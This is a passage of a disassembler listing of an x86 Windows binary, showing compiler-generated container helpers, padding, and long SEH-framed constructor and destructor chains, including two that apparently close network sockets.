retn 8 sub_4160C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401EA6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4160F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416120 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017D5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DA2 sub_416120 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017D5 push edi mov [eax], ebx call sub_4017D5 mov edi, [eax] push edi call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017DA add esp, 4 mov ecx, esi push eax call sub_401DFC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D66 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4161C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EA1 mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BB8 push esi mov ebx, eax call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [ebx] push esi mov [eax], edx call sub_4017D5 push esi mov ebx, eax call sub_401BB8 mov eax, [eax] push eax call sub_4017D5 mov ecx, [ebx] push esi mov [eax], ecx call sub_4017DA add esp, 1Ch mov ecx, edi push eax call sub_4013F7 push esi mov ecx, edi call sub_401EF6 sub_4161C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416280 proc near ; CODE XREF: sub_401401j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4162DA loc_416298: ; CODE XREF: sub_416280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EA1 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4162DA: ; CODE XREF: sub_416280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416310 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401E9C sub_416310 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416325 mov edi, esi loc_416325: ; CODE XREF: ___:00416321j push esi call sub_401BB8 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41633A mov edi, esi loc_41633A: ; CODE XREF: ___:00416336j push esi call sub_4017D5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416360 proc near ; CODE XREF: sub_401EF6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401857 sub_416360 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_401BB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163A0 proc near ; CODE XREF: sub_4017DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4163A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163C0 proc near ; CODE XREF: sub_401E29j mov eax, ecx retn sub_4163C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163E0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40160E mov eax, esi pop esi retn 4 sub_4163E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416410 proc near ; CODE XREF: sub_401EA1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416440 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416440 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416470 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416490 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416490 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4164C0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_4164C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416550 proc near ; CODE XREF: sub_401A4Bj mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_416550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4020EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416570 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165A0 proc near ; CODE XREF: sub_401CA8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E56 neg al sbb eax, eax inc eax retn 4 sub_4165A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_401C4Ej mov eax, [ecx] retn sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4165F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416610 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416610 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416640 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416640 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_402040 add esp, 8 retn 8 sub_416660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401D4Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4166B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401F6Ej mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_401857j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020CC add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_401E56j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4167F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41683B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41683B: ; CODE XREF: sub_416820+11j retn sub_416820 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416870 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41688B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41688B: ; CODE XREF: sub_416870+11j retn sub_416870 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4168DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4168DB: ; CODE XREF: sub_4168C0+11j retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: ___:00401C44j push 0FFFFFFFFh push offset loc_439FE1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021DA ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401EE2 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_40176C lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_401FF5 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401DED lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_40187A lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F28 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B27 lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017D0 lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018CA lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401EB0 lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402216 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017A3 lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A23 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C0 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401E83 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AE6 ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401C8F ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401929 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_40143D mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C00 proc near ; CODE XREF: sub_401A23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43E050 test eax, eax jle short loc_416C17 push eax call near ptr 71AB9639h nop loc_416C17: ; CODE XREF: sub_416C00+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A23 test [esp+4+arg_0], 1 jz short loc_416C48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416C48: ; CODE XREF: sub_416C30+Dj mov eax, esi pop esi retn 4 sub_416C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_4017A3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43E05C test eax, eax jle short loc_416C77 push eax call near ptr 71AB9639h nop loc_416C77: ; CODE XREF: sub_416C60+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416C90: ; CODE XREF: ___:00401627j ; ___:loc_401C99j push esi mov esi, ecx call sub_4017A3 test byte ptr [esp+8], 1 jz short loc_416CA8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CA8: ; CODE XREF: ___:00416C9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416CC0 proc near ; CODE XREF: sub_40176Cj mov dword ptr [ecx], offset off_43E068 jmp sub_402031 sub_416CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: ___:loc_40191Aj ; ___:0040218Aj push esi mov esi, ecx call sub_40176C test byte ptr [esp+8], 1 jz short loc_416CF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CF8: ; CODE XREF: ___:00416CEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43E074 add ecx, 4 jmp sub_401023 sub_416D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D30: ; CODE XREF: ___:00401E42j push 0FFFFFFFFh push offset loc_43A1C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_40209F ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015DC lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401FFA ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_4019F1 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40157D lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_401645 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401776 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_401695 lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_401820 lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016B3 lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_401415 lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D11 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A7D lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CA3 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402103 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_401573 lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_40178F lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_401424 lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_401424 lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_401424 lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_401424 lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416FB0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B09 sub_416FB0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417020 proc near ; CODE XREF: sub_401929j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40206D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40206D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40206D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40206D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40206D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AD2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AD2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AD2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AD2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AD2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AD2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AD2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AD2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AD2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AD2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AD2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AD2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AD2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AD2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AD2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AD2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AD2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AD2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AD2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AD2 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AD2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AD2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AD2 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AD2 lea ecx, [esi+450h] mov byte ptr 